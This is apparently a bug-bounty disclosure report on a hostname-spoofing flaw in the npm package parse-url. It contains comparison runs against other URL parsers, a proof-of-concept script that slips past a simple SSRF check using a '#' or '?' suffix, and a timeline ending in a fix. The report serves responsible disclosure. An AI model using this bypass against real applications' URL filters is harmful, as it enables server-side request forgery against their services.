hostname spoofing via Improper Input Validation in ionicabizau/parse-url

Valid

Reported on

Mar 11th 2022


Description

When to use the parse-url, If user put the https://google.com#hashvalue as argument, parse-url doesn't parse the hash value and parses hostname and hash together as hostname. http://localhost/#hashvalue and http://localhost#hashvalue are the same..

- new URL() of node
❯ node -e 'console.log(new URL("http://localhost#hashvalue"))'
URL {
  href: 'http://localhost/#hashvalue',
  origin: 'http://localhost',
  protocol: 'http:',
  username: '',
  password: '',
  host: 'localhost',
  hostname: 'localhost',
  port: '',
  pathname: '/',
  search: '',
  searchParams: URLSearchParams {},
  hash: '#hashvalue'
}

- url-parse of node
❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost#hashvalue'))"
{
  slashes: true,
  protocol: 'http:',
  hash: '#hashvalue',
  query: '',
  pathname: '/',
  auth: '',
  host: 'localhost',
  port: '',
  hostname: 'localhost',
  password: '',
  username: '',
  origin: 'http://localhost',
  href: 'http://localhost/#hashvalue'
}

- urllib.parse of python
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse('http://localhost#hashvalue')
ParseResult(scheme='http', netloc='localhost', path='', params='', query='', fragment='hashvalue')
>>>

- parse_url of php
❯ php -a
Interactive shell

php > $arr_url=parse_url('http://localhost#hashvalue');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[fragment] : hashvalue
php >

It should be parsed as above. That way the vulnerability doesn't occur.

Proof of Concept

❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost#hashvalue"))'
{
  protocols: [ 'http' ],
  protocol: 'http',
  port: null,
  resource: 'localhost#hashvalue',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'http://localhost#hashvalue',
  query: [Object: null prototype] {}
}

Impact

const parseUrl = require("parse-url")
const http = require("http")

parsed = parseUrl('http://localhost#hashvalue')
if (parsed.resource== 'localhost') {
    console.log('WAF!!!')
} else {
    console.log('bypass!!')
    console.log(http.get(parsed.href))
}
OutPut

bypass!!
ClientRequest {
  _events: [Object: null prototype] {},
  _eventsCount: 0,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  destroyed: false,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  maxRequestsOnConnectionReached: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  _closed: false,
  socket: null,
  _header: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: nop],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function (anonymous)],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: [Object: null prototype] { path: null },
    requests: [Object: null prototype] {},
    sockets: [Object: null prototype] { 'localhost:80:': [Array] },
    freeSockets: [Object: null prototype] {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    scheduling: 'lifo',
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  maxHeaderSize: undefined,
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: 'localhost',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }
}

When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. 5 months ago
Pocas
5 months ago

Researcher


❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost?asdf=asdf"))'
{
  protocols: [ 'http' ],
  protocol: 'http',
  port: null,
  resource: 'localhost?asdf=asdf',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'http://localhost?asdf=asdf',
  query: [Object: null prototype] {}
}

Additionally, the same is true for query strings. Both result in hostname spoofing vulnerabilities.

❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost?querystring'))"
{
  slashes: true,
  protocol: 'http:',
  hash: '',
  query: '?querystring',
  pathname: '/',
  auth: '',
  host: 'localhost',
  port: '',
  hostname: 'localhost',
  password: '',
  username: '',
  origin: 'http://localhost',
  href: 'http://localhost/?querystring'
}

~/Desktop/Hacking/npm-research
❯ node -e 'console.log(new URL("http://localhost?querystring"))'
URL {
  href: 'http://localhost/?querystring',
  origin: 'http://localhost',
  protocol: 'http:',
  username: '',
  password: '',
  host: 'localhost',
  hostname: 'localhost',
  port: '',
  pathname: '/',
  search: '?querystring',
  searchParams: URLSearchParams { 'querystring' => '' },
  hash: ''
}

~/Desktop/Hacking/npm-research
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse("http://localhost?querystring")
ParseResult(scheme='http', netloc='localhost', path='', params='', query='querystring', fragment='')
>>>

~/Desktop/Hacking/npm-research 22s
❯ php -a
Interactive shell

php > $arr_url=parse_url('http://localhost?querystring');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[query] : querystring
php >

This, too, must be parsed as above to avoid hostname spoofing vulnerabilities.

We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back 5 months ago
Ionică Bizău (Johnny B.) validated this vulnerability 5 months ago
Pocas has been awarded the disclosure bounty
The fix bounty is now up for grabs
Adam Nygate
5 months ago

Admin


As per the maintainer's comment, this is not a security issue. Adjusting the severity...

Pocas
5 months ago

Researcher


zz

We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. 5 months ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. 4 months ago
We have sent a third and final fix follow up to the ionicabizau/parse-url team. This report is now considered stale. 4 months ago
Ionică Bizău (Johnny B.) confirmed that a fix has been merged on 21c72a a month ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
to join this conversation